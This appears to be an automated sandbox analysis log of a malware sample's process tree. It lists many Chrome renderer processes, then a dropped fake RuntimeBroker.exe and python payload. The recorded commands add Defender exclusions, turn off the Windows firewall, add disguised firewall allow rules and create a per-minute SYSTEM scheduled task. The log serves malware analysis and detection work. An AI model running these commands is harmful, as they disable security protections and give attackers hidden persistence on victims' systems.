C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --metrics-shmem-handle=9536,i,11475856980875601766,14600062456928665018,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=9604 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --metrics-shmem-handle=9080,i,1051191027822691363,2881358215260858853,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=9704 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --metrics-shmem-handle=9828,i,7634539783682012733,10402698899409477216,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=9832 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --metrics-shmem-handle=9860,i,6033962733900600039,14802802024898607221,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=9064 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --metrics-shmem-handle=9864,i,271352485055321832,2037119494698427758,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --metrics-shmem-handle=9956,i,6106162260705449023,10528177355868001101,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=6904 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --metrics-shmem-handle=6976,i,13780127037167676525,7144206525141154392,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=9980 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --metrics-shmem-handle=10164,i,14942712183828020571,14400662232134529085,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=10176 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --metrics-shmem-handle=9192,i,9290907259438867977,8903057498376939422,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=9176 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --metrics-shmem-handle=5728,i,4802312991634864348,9581531504292821195,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=5580 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --metrics-shmem-handle=6864,i,11609787137364157445,13455556964184998071,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=6420 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --metrics-shmem-handle=6028,i,2933886501851858491,3694213552450701348,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=6220 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --metrics-shmem-handle=3468,i,7540001726657198501,16247751118360928407,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --metrics-shmem-handle=10632,i,12994542680087118931,5568718083195290943,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=10472 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=64 --metrics-shmem-handle=10756,i,1877411308729984803,8544606887629920990,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=10764 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --metrics-shmem-handle=10908,i,14471047046636540449,11890706936605810799,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=10924 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --metrics-shmem-handle=10948,i,111283936094927048,16253738354888392294,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=10976 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --metrics-shmem-handle=11220,i,10202967718103312203,36805020768864656,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=11232 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --metrics-shmem-handle=11088,i,11350451503532976355,9786090594724730024,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=6704 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --metrics-shmem-handle=9760,i,7833524465784645814,11411821049177740835,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=10076 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --metrics-shmem-handle=7772,i,3497164922553968564,2929697786983408489,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=8592 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --metrics-shmem-handle=11216,i,17806785894358363637,2095623135632025012,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=11232 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=72 --metrics-shmem-handle=5428,i,17977750893578582241,4111401036270566420,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=7788 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=7156,i,6046007292222294684,4964524686760274971,262144 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=11228 /prefetch:102⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=74 --metrics-shmem-handle=6320,i,9572464562888040997,1027150169318513891,2097152 --field-trial-handle=1968,i,2933681210938909572,14752196411749643181,262144 --variations-seed-version --mojo-platform-channel-handle=7980 /prefetch:12⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
- Modifies data under HKEY_USERS
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe"1⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users'"2⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM'"2⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" -m pip install --quiet -r C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\requirements.txt2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"2⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" -m pip install --quiet -r C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\requirements.txt2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\AppHost\main.py" -u "1bdecc11-5c44-48d6-86d2-3b00d6c3c575"2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn RuntimeBroker /tr C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /run /tn RuntimeBroker3⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule "name=Windows Security Health Service"3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=in action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" -m pip install --quiet -r C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\requirements.txt2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\AppHost\main.py" -u "1bdecc11-5c44-48d6-86d2-3b00d6c3c575"2⤵
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn RuntimeBroker /tr C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /run /tn RuntimeBroker3⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule "name=Windows Security Health Service"3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=in action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=out action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" -m pip install --quiet -r C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\requirements.txt2⤵
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\AppHost\main.py" -u "1bdecc11-5c44-48d6-86d2-3b00d6c3c575"2⤵
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn RuntimeBroker /tr C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /run /tn RuntimeBroker3⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule "name=Windows Security Health Service"3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=in action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=out action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\AppHost\main.py" -u "1bdecc11-5c44-48d6-86d2-3b00d6c3c575"2⤵
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn RuntimeBroker /tr C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exeschtasks /run /tn RuntimeBroker3⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule "name=Windows Security Health Service"3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=in action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=out action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" -m pip install --quiet -r C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\requirements.txt2⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetworkService\dllhost.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\AppHost\main.py" -u "1bdecc11-5c44-48d6-86d2-3b00d6c3c575"2⤵
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn RuntimeBroker /tr C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f3⤵
